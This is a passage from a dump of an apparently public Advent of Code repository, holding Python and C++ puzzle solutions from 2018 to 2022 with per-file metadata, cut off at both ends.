0.5787037014961243, "alphanum_fraction": 0.5939153432846069, "avg_line_length": 32.599998474121094, "blob_id": "f9b4d334b1c658632c30231e669a1b5561efdc19", "content_id": "a3a20a89d416c21adbffbb7f37e067917df5a29f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1512, "license_type": "no_license", "max_line_length": 114, "num_lines": 45, "path": "/2020/2020-13.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from sympy.ntheory.modular import crt # sympy is a module that does Chinese remainder theorem for you\n\nfrom utils import timed\n\nwith open('inputs/2020-13.txt') as f:\n lines = f.read().splitlines()\n earliest_time = int(lines[0])\n buses = [int(b) if b != 'x' else b for b in lines[1].split(',')]\n\n@timed\ndef part_one(earliest_time, buses):\n buses = [b for b in buses if isinstance(b, int)]\n times_to_wait = {b - earliest_time % b: b for b in buses}\n min_wait = min(list(times_to_wait.keys()))\n return min_wait * times_to_wait[min_wait]\n\n@timed\ndef part_two(buses):\n # tbh i have no clue how crt works I just know that it must be used over brute force\n bus_dict = {}\n for i, b in enumerate(buses):\n if b != 'x':\n if i == 0:\n bus_dict[b] = i\n else:\n bus_dict[b] = b - i\n return min(crt(list(bus_dict.keys()), list(bus_dict.values())))\n\n # My original bruteforce solution ;-;\n # Now that I know the actual solution, I can estimate that this solution would take about 523 days to complete\n multiple = int(1e14 / buses[0]) # the question said the answer is larger than 10^14\n while True:\n target_num = buses[0] * multiple\n for i, b in enumerate(buses):\n if isinstance(b, int) and i != 0:\n if b - target_num % b != i:\n break\n else:\n return target_num\n\n multiple += 1\n\n\nprint(part_one(earliest_time, buses))\nprint(part_two(buses))\n" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.5714285969734192, "avg_line_length": 24.75, "blob_id": "3b83c9102ce87dc5def03cc8687de359dd54983b", "content_id": "8edd6bddf608408768374f36be8bd413fad681a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 308, "license_type": "no_license", "max_line_length": 64, "num_lines": 12, "path": "/2018/utils.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from functools import wraps\nimport time\n\ndef timed(f):\n @wraps(f)\n def wrapper(*args, **kwargs):\n begin = time.time()\n result = f(*args, **kwargs)\n delta = time.time() - begin\n print('Executed {} in {} sec'.format(f.__name__, delta))\n return result\n return wrapper" }, { "alpha_fraction": 0.5216035842895508, "alphanum_fraction": 0.5296213626861572, "avg_line_length": 31.536231994628906, "blob_id": "8421305e859225a6d7bcbd76eaf15289e73030b7", "content_id": "4dd0ae2f1ed72545bc45ebeee03ee7a9b745067d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2245, "license_type": "no_license", "max_line_length": 97, "num_lines": 69, "path": "/2020/2020-14.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nimport itertools\n\nimport re\n\nwith open('inputs/2020-14.txt') as f:\n input_lines = f.read().splitlines()\n mask_subset = {}\n mask = ''\n memory_insertions = {}\n for line in input_lines:\n if line.startswith('mask'):\n if mask != '':\n mask_subset[mask] = memory_insertions\n memory_insertions = {}\n mask = line.split(' = ')[1]\n else:\n mem_addr, num = re.match(r'mem\\[(\\d+)\\] = (\\d+)', line).groups()\n memory_insertions[int(mem_addr)] = int(num)\n # The last mask never got added\n mask_subset[mask] = memory_insertions\n\n@timed\ndef part_one(mask_subset):\n mem = {}\n for mask, mem_ins in mask_subset.items():\n for mem_addr, num in mem_ins.items():\n num_bin_digits = list(f'{num:036b}')\n for i, pos in enumerate(mask):\n if pos != 'X':\n num_bin_digits[i] = pos\n mem[mem_addr] = int(''.join(num_bin_digits), 2)\n\n return sum(list(mem.values()))\n\n@timed\ndef part_two(mask_subset):\n mem = {}\n for mask, mem_ins in mask_subset.items():\n for mem_addr, num in mem_ins.items():\n floating_digits = []\n mem_addr_bin_digits = list(f'{mem_addr:036b}')\n for i, pos in enumerate(mask):\n if pos == '1':\n mem_addr_bin_digits[i] = pos\n elif pos == 'X':\n floating_digits.append(i)\n\n mem_addrs = []\n # that lightbulb moment when u realize if u take every combo of the floating digits,\n # you end up with every possible binary number with that number of digits...\n possible_floating_combos = itertools.product(['0', '1'], repeat=len(floating_digits))\n for combo in possible_floating_combos:\n c = mem_addr_bin_digits.copy()\n for i, digit in enumerate(combo):\n c[floating_digits[i]] = digit\n mem_addrs.append(c)\n\n\n for addr in mem_addrs:\n mem_addr = int(''.join(addr), 2)\n mem[mem_addr] = num\n\n return sum(list(mem.values()))\n\n\nprint(part_one(mask_subset))\nprint(part_two(mask_subset))\n" }, { "alpha_fraction": 0.47361963987350464, "alphanum_fraction": 0.5030674934387207, "avg_line_length": 36.04545593261719, "blob_id": "dc4da2119ad1c8ea64af66cf3a0ba16aa5da303d", "content_id": "86ecbf89598e95ea487f96f02c004b47bc04600f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2445, "license_type": "no_license", "max_line_length": 126, "num_lines": 66, "path": "/2019/2019-05.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nclass IntcodeSolver:\n def __init__(self, intcode):\n self.intcode = intcode.copy()\n self.pointer = 0\n\n def get_param(self, mode, n):\n if mode == 0:\n return self.intcode[self.intcode[self.pointer + n]]\n elif mode == 1:\n return self.intcode[self.pointer + n]\n\n def run(self, given_input):\n while True:\n instruction = f'{self.intcode[self.pointer]:05}'\n opcode = int(instruction[-2:])\n modes = [int(m) for m in reversed(instruction[:3])]\n\n if opcode == 1:\n self.intcode[self.intcode[self.pointer + 3]] = self.get_param(modes[0], 1) + self.get_param(modes[1], 2)\n self.pointer += 4\n elif opcode == 2:\n self.intcode[self.intcode[self.pointer + 3]] = self.get_param(modes[0], 1) * self.get_param(modes[1], 2)\n self.pointer += 4\n elif opcode == 3:\n self.intcode[self.intcode[self.pointer + 1]] = given_input\n self.pointer += 2\n elif opcode == 4:\n output = self.get_param(modes[0], 1)\n print(output)\n self.pointer += 2\n elif opcode == 5:\n if self.get_param(modes[0], 1) != 0:\n self.pointer = self.get_param(modes[1], 2)\n else:\n self.pointer += 3\n elif opcode == 6:\n if self.get_param(modes[0], 1) == 0:\n self.pointer = self.get_param(modes[1], 2)\n else:\n self.pointer += 3\n elif opcode == 7:\n self.intcode[self.intcode[self.pointer + 3]] = int(self.get_param(modes[0], 1) < self.get_param(modes[1], 2))\n self.pointer += 4\n elif opcode == 8:\n self.intcode[self.intcode[self.pointer + 3]] = int(self.get_param(modes[0], 1) == self.get_param(modes[1], 2))\n self.pointer += 4\n elif opcode == 99:\n break\n else:\n print(f'Unknown opcode {opcode} at index {self.pointer}')\n\n@timed\ndef part_one():\n intcode = [int(x) for x in open('inputs/2019-05.txt').read().split(',')]\n IntcodeSolver(intcode).run(1)\n\n@timed\ndef part_two():\n intcode = [int(x) for x in open('inputs/2019-05.txt').read().split(',')]\n IntcodeSolver(intcode).run(5)\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.5809460282325745, "alphanum_fraction": 0.5909394025802612, "avg_line_length": 22.092308044433594, "blob_id": "f7dbecfe7b83ca43749b03a9d965568faca20243", "content_id": "ee19a194a56d5eba6e66b73ee10dba973602cedb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1501, "license_type": "no_license", "max_line_length": 99, "num_lines": 65, "path": "/2021/Day04/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <vector>\n#include <string>\n#include <algorithm>\n#include \"board.h\"\n\nint main()\n{\n std::ifstream input(\"input.txt\");\n\tstd::string line;\n\tint x;\n std::vector<int> nums; // Nums to pick from\n\tstd::vector<Board> boards;\n\n\t// First line of nums\n\tstd::getline(input, line);\n\tstd::replace(line.begin(), line.end(), ',', ' ');\n\tstd::stringstream lineStream(line);\n\twhile (lineStream >> x) {\n\t\tnums.push_back(x);\n\t}\n\n\twhile (!input.eof()) {\n\t\tBoard b;\n\t\tfor (int i = 0; i < 5; i++) {\n\t\t\tfor (int j = 0; j < 5; j++) {\n\t\t\t\tinput >> x;\n\t\t\t\tb.bingo[i][j] = x;\n\t\t\t}\n\t\t}\n\t\tboards.push_back(b);\n\t}\n\n\tint firstWinningNum = -1;\n\tint lastWinningNum = -1;\n\tint unmarkedSumF = -1;\n\tint unmarkedSumL = -1;\n\tfor (int n : nums) {\n\t\tfor (int i = 0; i < boards.size(); i++) {\n\t\t\tboards[i].mark(n);\n\t\t\tif (boards[i].checkBoard()) {\n\t\t\t\tif (firstWinningNum == -1) {\n\t\t\t\t\tfirstWinningNum = n;\n\t\t\t\t\tunmarkedSumF = boards[i].sumUnmarked();\n\t\t\t\t}\n\t\t\t\telse if (boards.size() == 1) {\n\t\t\t\t\tlastWinningNum = n;\n\t\t\t\t\tunmarkedSumL = boards[i].sumUnmarked();\n\t\t\t\t}\n\n\t\t\t\tboards.erase(boards.begin() + i); // remove the board that won so it doesn't get counted again\n\t\t\t\ti--;\n\t\t\t\t// Can't break here for part 2, the num has to be marked for all boards regardless\n\t\t\t}\n\t\t}\n\t\tif (lastWinningNum != -1) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tstd::cout << \"Part 1: \" << unmarkedSumF * firstWinningNum << std::endl;\n\tstd::cout << \"Part 2: \" << unmarkedSumL * lastWinningNum << std::endl;\n}\n" }, { "alpha_fraction": 0.4505327343940735, "alphanum_fraction": 0.476407915353775, "avg_line_length": 22.89090919494629, "blob_id": "64d95b55c1c69a7d6eefea4568b0fb942f5eea11", "content_id": "5147c15e3a926821b4ebef56d7a4f3c8d846f43d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1314, "license_type": "no_license", "max_line_length": 68, "num_lines": 55, "path": "/2022/day10.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_lines, timed\n\ninstructions = [line.split(' ') for line in read_lines('day10.txt')]\n\n@timed\ndef part_one():\n cycle = 1\n i = 0\n skipped = False\n reg_x = 1\n signal_strengths = 0\n while i < len(instructions):\n if instructions[i][0] == 'addx' and not skipped:\n skipped = True\n elif instructions[i][0] == 'addx' and skipped:\n skipped = False\n reg_x += int(instructions[i][1])\n i += 1\n else:\n i += 1\n cycle += 1\n if cycle % 40 == 20:\n assert cycle <= 220\n signal_strengths += cycle * reg_x\n return signal_strengths\n\n@timed\ndef part_two():\n cycle = 1\n i = 0\n skipped = False\n reg_x = 1\n output = ''\n while i < len(instructions):\n crt = (cycle - 1) % 40\n if abs(reg_x - crt) <= 1:\n output += '#'\n else:\n output += '.'\n if crt == 39:\n output += '\\n'\n if instructions[i][0] == 'addx' and not skipped:\n skipped = True\n elif instructions[i][0] == 'addx' and skipped:\n skipped = False\n reg_x += int(instructions[i][1])\n i += 1\n else:\n i += 1\n cycle += 1\n return output\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.5017793774604797, "alphanum_fraction": 0.5131672620773315, "avg_line_length": 24.545454025268555, "blob_id": "fcc489753f88b7e27cbed085be0450b35b88fab5", "content_id": "f830a51734aeb2a96447328934f2dd0dbe4f026c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1405, "license_type": "no_license", "max_line_length": 100, "num_lines": 55, "path": "/2021/Day12/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <algorithm>\n#include <map>\n#include <stack>\n#include \"cave.h\"\n\nint main()\n{\n std::ifstream input(\"input.txt\");\n std::string connection;\n std::string cave1, cave2;\n\n std::map<std::string, Cave> caves;\n while (input >> connection) {\n std::replace(connection.begin(), connection.end(), '-', ' ');\n std::stringstream lineStream(connection);\n lineStream >> cave1;\n lineStream >> cave2;\n if (caves.find(cave1) == caves.end()) { // Cave not found\n caves[cave1] = Cave(cave1);\n }\n caves[cave1].addLink(cave2);\n\n if (caves.find(cave2) == caves.end()) {\n caves[cave2] = Cave(cave2);\n }\n caves[cave2].addLink(cave1);\n }\n\n std::stack<Cave*> stack;\n stack.push(&caves[\"start\"]);\n\n int paths = 0;\n while (!stack.empty()) {\n Cave* c = stack.top();\n stack.pop();\n if (c->id == \"end\") {\n paths++;\n continue;\n }\n if (c->visited && c->isSmall) continue;\n c->visited = true;\n for (std::string& caveID : c->linkedCaves) {\n \n if (caves[caveID].id != \"start\" && (!caves[caveID].isSmall || !caves[caveID].visited)) {\n stack.push(&caves[caveID]);\n }\n }\n }\n\n\n std::cout << \"Part 1: \" << paths << std::endl;\n}\n" }, { "alpha_fraction": 0.5214285850524902, "alphanum_fraction": 0.5732142925262451, "avg_line_length": 19, "blob_id": "d2e7f82d41485999bbc41712b88723a4032e20bd", "content_id": "fdded7d337d0245645f49930495087971bf1b1a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 560, "license_type": "no_license", "max_line_length": 55, "num_lines": 28, "path": "/2020/2020-25.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-25.txt') as f:\n public_keys = list(map(int, f.read().splitlines()))\n\n@timed\ndef part_one(public_keys):\n subject_num = 7\n value = 1\n loop_size = 1\n public_keys.sort()\n while True:\n value *= subject_num\n value %= 20201227\n if value == public_keys[0]:\n break\n loop_size += 1\n\n subject_num = public_keys[1]\n value = 1\n for _ in range(loop_size):\n value *= subject_num\n value %= 20201227\n\n return value\n\n\nprint(part_one(public_keys))\n" }, { "alpha_fraction": 0.5224913358688354, "alphanum_fraction": 0.5406574606895447, "avg_line_length": 24.688888549804688, "blob_id": "5e8073939865c147714a77f982520a0e6cbfc6d7", "content_id": "c8d9ef7bfd2777eb55173afac6418b34df171f6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1156, "license_type": "no_license", "max_line_length": 127, "num_lines": 45, "path": "/2019/2019-06.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n\n@timed\ndef part_one():\n direct_orbits = {i.split(')')[1]: i.split(')')[0] for i in open('inputs/2019-06.txt').read().splitlines()}\n planets = set([p for p in direct_orbits.keys()] + [p for p in direct_orbits.values()])\n total_orbits = 0\n for p in planets:\n planet = p\n while planet != 'COM':\n total_orbits += 1\n planet = direct_orbits[planet]\n\n print(total_orbits)\n\n@timed\ndef part_two():\n direct_orbits = {i.split(')')[1]: i.split(')')[0] for i in open('inputs/2019-06.txt').read().splitlines()}\n you_path = []\n santa_path = []\n\n p = 'YOU'\n while p != 'COM':\n you_path.append(direct_orbits[p])\n p = direct_orbits[p]\n\n p = 'SAN'\n while p != 'COM':\n santa_path.append(direct_orbits[p])\n p = direct_orbits[p]\n\n ecp = None\n for y in you_path:\n for s in santa_path:\n if y == s:\n ecp = y\n break\n if ecp:\n break\n print(you_path.index(ecp) + santa_path.index(ecp)) # Do not need to subtract 2 because index 0 is still 0 planets traveled\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.58984375, "alphanum_fraction": 0.61328125, "avg_line_length": 24.600000381469727, "blob_id": "a7696d53d9295582d2d3fffb8568379314413c00", "content_id": "44fb6be913a8b5f2a2988a0be153689af8e0a23d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 256, "license_type": "no_license", "max_line_length": 75, "num_lines": 10, "path": "/create_files.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import sys\n\nwith open('sample_file.py.example') as f:\n contents = f.read()\n\nwith open(f'{sys.argv[1]}/day{sys.argv[2].zfill(2)}.py', 'w+') as f:\n f.write(contents)\n\nwith open(f'{sys.argv[1]}/inputs/day{sys.argv[2].zfill(2)}.txt', 'w') as f:\n pass\n" }, { "alpha_fraction": 0.539534866809845, "alphanum_fraction": 0.5542039275169373, "avg_line_length": 31.5, "blob_id": "0413c9d1649160565b182410b378e1f8c06c6092", "content_id": "b476bbb8219b5027769c086b4c48717d7ed48818", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2795, "license_type": "no_license", "max_line_length": 100, "num_lines": 86, "path": "/2021/Day03/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <vector>\n#include <string>\n\nstd::string findMostCommon(std::vector<std::string> &nums) {\n std::vector<int> digitCount;\n int inc;\n for (std::string num : nums) {\n for (int i = 0; i < num.length(); i++) {\n inc = num[i] == '1' ? 1 : -1;\n if (digitCount.size() <= i) {\n digitCount.push_back(inc);\n }\n else {\n digitCount.at(i) += inc;\n }\n }\n }\n std::string mostCommon;\n for (int i = 0; i < digitCount.size(); i++) {\n // Since function is for gamma rate/O2 generator rating, we do >= 0 for the 1 bit\n // This way, when the bits are flipped for the C02 scrubber rating, it gets flipped properly\n mostCommon += digitCount.at(i) >= 0 ? \"1\" : \"0\";\n }\n return mostCommon;\n}\n\nstd::string flipBits(std::string &originalBits) {\n std::string flippedBits;\n for (int i = 0; i < originalBits.length(); i++) {\n flippedBits += originalBits[i] == '1' ? \"0\" : \"1\";\n }\n return flippedBits;\n}\n\nint main()\n{\n std::ifstream input(\"input.txt\");\n std::string binNum;\n std::vector<std::string> nums;\n while (input >> binNum) {\n nums.push_back(binNum);\n }\n\n std::string gamma = findMostCommon(nums);\n std::string epsilon = flipBits(gamma);\n int gammaRate = std::stoi(gamma, nullptr, 2);\n int epsilonRate = std::stoi(epsilon, nullptr, 2);\n \n std::cout << \"Part 1: \" << gammaRate * epsilonRate << std::endl;\n\n std::vector<std::string> oxygenNums(nums);\n std::vector<std::string> CO2Nums(nums);\n int bitIndex = 0;\n while (oxygenNums.size() > 1) {\n std::string mostCommon = findMostCommon(oxygenNums);\n char digitToKeep = mostCommon[bitIndex];\n for (int i = 0; i < oxygenNums.size(); i++) {\n if (oxygenNums.at(i)[bitIndex] != digitToKeep) {\n oxygenNums.erase(oxygenNums.begin() + i);\n i--; // since we just removed an item, the index stays the same\n }\n }\n bitIndex++;\n }\n\n int oxygenRating = std::stoi(oxygenNums.at(0), nullptr, 2);\n\n bitIndex = 0;\n while (CO2Nums.size() > 1) {\n std::string mostCommon = findMostCommon(CO2Nums);\n std::string leastCommon = flipBits(mostCommon);\n char digitToKeep = leastCommon[bitIndex];\n for (int i = 0; i < CO2Nums.size(); i++) {\n if (CO2Nums.at(i)[bitIndex] != digitToKeep) {\n CO2Nums.erase(CO2Nums.begin() + i);\n i--; // since we just removed an item, the index stays the same\n }\n }\n bitIndex++;\n }\n\n int CO2Rating = std::stoi(CO2Nums.at(0), nullptr, 2);\n std::cout << \"Part 2: \" << oxygenRating * CO2Rating << std::endl;\n}\n" }, { "alpha_fraction": 0.5273793935775757, "alphanum_fraction": 0.5534549951553345, "avg_line_length": 33.8636360168457, "blob_id": "662cfb990544e64ff0d939f7888eeda36dc479d1", "content_id": "9bd150b3697eab114977165ef8bce7a8aa20527e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3068, "license_type": "no_license", "max_line_length": 115, "num_lines": 88, "path": "/2020/2020-04.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import re\n# I hate regex\n\nfrom utils import timed\n\nwith open('inputs/2020-04.txt') as f:\n input_lines = f.readlines()\n\ndef get_passport_indexes(input_lines):\n passport_indexes = []\n for i, line in enumerate(input_lines):\n if i == 0 or input_lines[i - 1] == '\\n': # beginning of a passport\n passport_indexes.append([i, None])\n if i == len(input_lines) - 1 or input_lines[i + 1] == '\\n': # end of a passport\n passport_indexes[-1][1] = i\n\n return passport_indexes\n\n\n@timed\ndef part_one(input_lines):\n passport_indexes = get_passport_indexes(input_lines)\n\n num_valid_passports = 0\n for passport_index in passport_indexes:\n passport_info = ' '.join(input_lines[passport_index[0]:passport_index[1] + 1]).split(' ') # split by field\n fields = dict([field.split(':') for field in passport_info])\n\n if len(passport_info) < 7:\n continue\n if len(passport_info) == 7 and 'cid' in fields.keys(): # cid is not the missing field: invalid\n continue\n\n num_valid_passports += 1\n\n return num_valid_passports\n\n@timed\ndef part_two(input_lines):\n passport_indexes = get_passport_indexes(input_lines)\n\n num_valid_passports = 0\n for passport_index in passport_indexes:\n passport_info = ' '.join(input_lines[passport_index[0]:passport_index[1] + 1]).split(' ') # split by field\n fields = dict([field.split(':') for field in passport_info])\n\n if len(passport_info) < 7:\n continue\n if len(passport_info) == 7 and 'cid' in fields.keys(): # cid is not the missing field: invalid\n continue\n\n\n invalid = False\n for field_name, field_data in fields.items():\n field_data = field_data.strip('\\n')\n\n if field_name == 'byr' and not 1920 <= int(field_data) <= 2002:\n invalid = True\n elif field_name == 'iyr' and not 2010 <= int(field_data) <= 2020:\n invalid = True\n elif field_name == 'eyr' and not 2020 <= int(field_data) <= 2030:\n invalid = True\n elif field_name == 'hgt':\n height_regex = (\n r'^(1([5-8]\\d|9[0-3])cm|' # 150-193cm\n r'(59|6\\d|7[0-6])in)$' # 59-76in\n )\n if not re.match(height_regex, field_data):\n invalid = True\n elif field_name == 'hcl' and not re.match(r'^#[0-9a-f]{6}$', field_data):\n invalid = True\n elif field_name == 'ecl' and field_data not in ('amb', 'blu', 'brn', 'gry', 'grn', 'hzl', 'oth'):\n invalid = True\n elif field_name == 'pid' and not re.match(r'^\\d{9}$', field_data):\n # tfw u spend 1 hour trying to figure out why \\d{9} matches strings with 10 digits\n invalid = True\n\n if invalid is True:\n break\n\n if not invalid:\n num_valid_passports += 1\n\n return num_valid_passports\n\n\nprint(part_one(input_lines))\nprint(part_two(input_lines))\n" }, { "alpha_fraction": 0.5073025226593018, "alphanum_fraction": 0.5332340002059937, "avg_line_length": 34.31578826904297, "blob_id": "8a7281e57857251d731027bae605c1675c4558a6", "content_id": "37bf39d0dc198beb035ac1053438bfca984da1f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3355, "license_type": "no_license", "max_line_length": 134, "num_lines": 95, "path": "/2019/2019-09.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n\nclass elist(list):\n \"\"\"A list that appends a default value to the list if the index is past the list length\"\"\"\n\n def __init__(self, r=list(), default=0):\n list.__init__(self, r)\n self.default = default\n\n def __getitem__(self, n):\n while len(self) <= n:\n self.append(self.default)\n return super().__getitem__(n)\n\n def __setitem__(self, n, d):\n while len(self) <= n:\n self.append(self.default)\n super().__setitem__(n, d)\n\n def copy(self):\n return elist(r=self, default=self.default)\n\n\nclass IntcodeSolver:\n def __init__(self, intcode):\n self.intcode = intcode.copy()\n self.pointer = 0\n self.output = None\n self.base = 0\n self.increments = (4, 4, 2, 2, 3, 3, 4, 4, 2)\n\n def get_param(self, mode, n, save=False):\n if mode == 0:\n val = self.intcode[self.pointer + n]\n elif mode == 1:\n if save is True:\n raise ValueError(f'Save index at {self.pointer + n} is in immediate mode')\n val = self.pointer + n\n elif mode == 2:\n val = self.base + self.intcode[self.pointer + n]\n\n return self.intcode[val] if save is False else val\n\n def run(self, inp):\n \"\"\"Returns output[int], is_running[bool]\"\"\"\n\n while True:\n instruction = f'{self.intcode[self.pointer]:05}'\n opcode = int(instruction[-2:])\n modes = [int(m) for m in reversed(instruction[:3])]\n\n if opcode == 1:\n self.intcode[self.get_param(modes[2], 3, save=True)] = self.get_param(modes[0], 1) + self.get_param(modes[1], 2)\n elif opcode == 2:\n self.intcode[self.get_param(modes[2], 3, save=True)] = self.get_param(modes[0], 1) * self.get_param(modes[1], 2)\n elif opcode == 3:\n self.intcode[self.get_param(modes[0], 1, save=True)] = inp\n elif opcode == 4:\n self.output = self.get_param(modes[0], 1)\n elif opcode == 5:\n if self.get_param(modes[0], 1) != 0:\n self.pointer = self.get_param(modes[1], 2) - 3\n elif opcode == 6:\n if self.get_param(modes[0], 1) == 0:\n self.pointer = self.get_param(modes[1], 2) - 3\n elif opcode == 7:\n self.intcode[self.get_param(modes[2], 3, save=True)] = int(self.get_param(modes[0], 1) < self.get_param(modes[1], 2))\n elif opcode == 8:\n self.intcode[self.get_param(modes[2], 3, save=True)] = int(self.get_param(modes[0], 1) == self.get_param(modes[1], 2))\n elif opcode == 9:\n self.base += self.get_param(modes[0], 1)\n elif opcode == 99:\n return self.output, False\n else:\n raise ValueError(f'Unknown opcode {opcode} at index {self.pointer}')\n\n self.pointer += self.increments[opcode - 1]\n\n\n@timed\ndef part_one():\n intcode = elist(r=[int(x) for x in open('inputs/2019-09.txt').read().split(',')])\n output, _ = IntcodeSolver(intcode).run(1)\n print(output)\n\n@timed\ndef part_two():\n intcode = elist(r=[int(x) for x in open('inputs/2019-09.txt').read().split(',')])\n output, _ = IntcodeSolver(intcode).run(2)\n print(output)\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.46385541558265686, "alphanum_fraction": 0.49799197912216187, "avg_line_length": 19.75, "blob_id": "837c031eba9a11af15a8bebf598f66b5611ad825", "content_id": "1e0f51c03d43340e98cced295259176890c24378", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 498, "license_type": "no_license", "max_line_length": 63, "num_lines": 24, "path": "/2020/2020-01.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\ninputs = list(map(int, open('inputs/2020-01.txt').readlines()))\n\n@timed\ndef part_one():\n for i, x in enumerate(inputs):\n for y in inputs[i + 1:]:\n if x + y == 2020:\n return x * y\n\n\nprint(part_one())\n\n@timed\ndef part_two():\n for i, x in enumerate(inputs):\n for j, y in enumerate(inputs[i + 1:]):\n for z in inputs[j + 1:]:\n if x + y + z == 2020:\n return x * y * z\n\n\nprint(part_two())\n" }, { "alpha_fraction": 0.5612648129463196, "alphanum_fraction": 0.573913037776947, "avg_line_length": 27.11111068725586, "blob_id": "3c4d88a9428480b384d31c124cb75028eaf7ca76", "content_id": "4febe460b187ac3d51ab030f29f4ba1da10d1d72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1265, "license_type": "no_license", "max_line_length": 66, "num_lines": 45, "path": "/2022/day05.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import re\n\nfrom collections import deque\nfrom copy import deepcopy\n\nfrom utils import read_lines, timed\n\n\nstacks = []\ninstructions = []\n\nprocedure = False\nfor line in read_lines('day05.txt'):\n if '[' not in line:\n procedure = True\n if not procedure:\n for i in range(0, len(line), 4):\n stack_num = int(i / 4)\n if stack_num >= len(stacks):\n stacks.append(deque())\n if line[i + 1] != ' ':\n stacks[stack_num].appendleft(line[i + 1])\n else:\n match = re.search(r'move (\\d+) from (\\d) to (\\d).*', line)\n if match:\n instructions.append(tuple(map(int, match.groups())))\n\n@timed\ndef part_one(stacks, instructions):\n for num, from_, to_ in instructions:\n for _ in range(num):\n stacks[to_ - 1].append(stacks[from_ - 1].pop())\n return ''.join(s[-1] for s in stacks)\n\n@timed\ndef part_two(stacks, instructions):\n for num, from_, to_ in instructions:\n temp = [stacks[from_ - 1].pop() for _ in range(num)]\n for i in range(len(temp) - 1, -1, -1):\n stacks[to_ - 1].append(temp[i])\n return ''.join(s[-1] for s in stacks)\n\n\nprint(part_one(deepcopy(stacks), instructions))\nprint(part_two(deepcopy(stacks), instructions))\n" }, { "alpha_fraction": 0.5361895561218262, "alphanum_fraction": 0.5459266304969788, "avg_line_length": 33.617977142333984, "blob_id": "f6b3fcce9eca9f72fdb1d83841defaef3a492a19", "content_id": "34090242eb10bcdf5b2acada49d21ebfa37f74fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3081, "license_type": "no_license", "max_line_length": 110, "num_lines": 89, "path": "/2022/day11.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import heapq\nimport math\nimport re\n\nfrom copy import deepcopy\n\nfrom utils import read_split, timed\n\n\nclass Monkey:\n def __init__(self, lines):\n item_match = re.search(r'\\s+Starting items: (.+)', lines[1])\n assert item_match\n if item_match:\n self.items = list(map(int, item_match.group(1).split(', ')))\n\n op_match = re.search(r'\\s+Operation: new = old (.) (.+)', lines[2])\n assert op_match\n if op_match:\n # Tried to do this with lambda funcs but for some reason all the lambda funcs became\n # the last monkey's function even though they were different mem addresses so this will have to do\n self.op, self.op_num = op_match.groups()\n\n divide_match = re.search(r'\\s+Test: divisible by (\\d+)', lines[3])\n assert divide_match\n if divide_match:\n self.divisible_test = int(divide_match.group(1))\n\n self.pass_test = int(lines[4][-1])\n self.fail_test = int(lines[5][-1])\n self.inspections = 0\n\n def __lt__(self, other):\n '''Greater than for a max heap'''\n return self.inspections > other.inspections\n\n def __repr__(self):\n return f'Monkey<{self.items=} {self.op=} {self.op_num=} {self.divisible_test=}' \\\n f' {self.pass_test=} {self.fail_test=} {self.inspections=}'\n\n\nmonkeys = [Monkey(m.split('\\n')) for m in read_split('day11.txt', '\\n\\n')]\n\n@timed\ndef part_one(monkeys):\n for _ in range(20):\n for m in monkeys:\n for worry_lvl in m.items:\n m.inspections += 1\n num2 = worry_lvl if m.op_num == 'old' else int(m.op_num)\n if m.op == '+':\n worry_lvl += num2\n else:\n worry_lvl *= num2\n worry_lvl = worry_lvl // 3\n if worry_lvl % m.divisible_test == 0:\n monkeys[m.pass_test].items.append(worry_lvl)\n else:\n monkeys[m.fail_test].items.append(worry_lvl)\n m.items.clear()\n\n heapq.heapify(monkeys)\n return heapq.heappop(monkeys).inspections * heapq.heappop(monkeys).inspections\n\n@timed\ndef 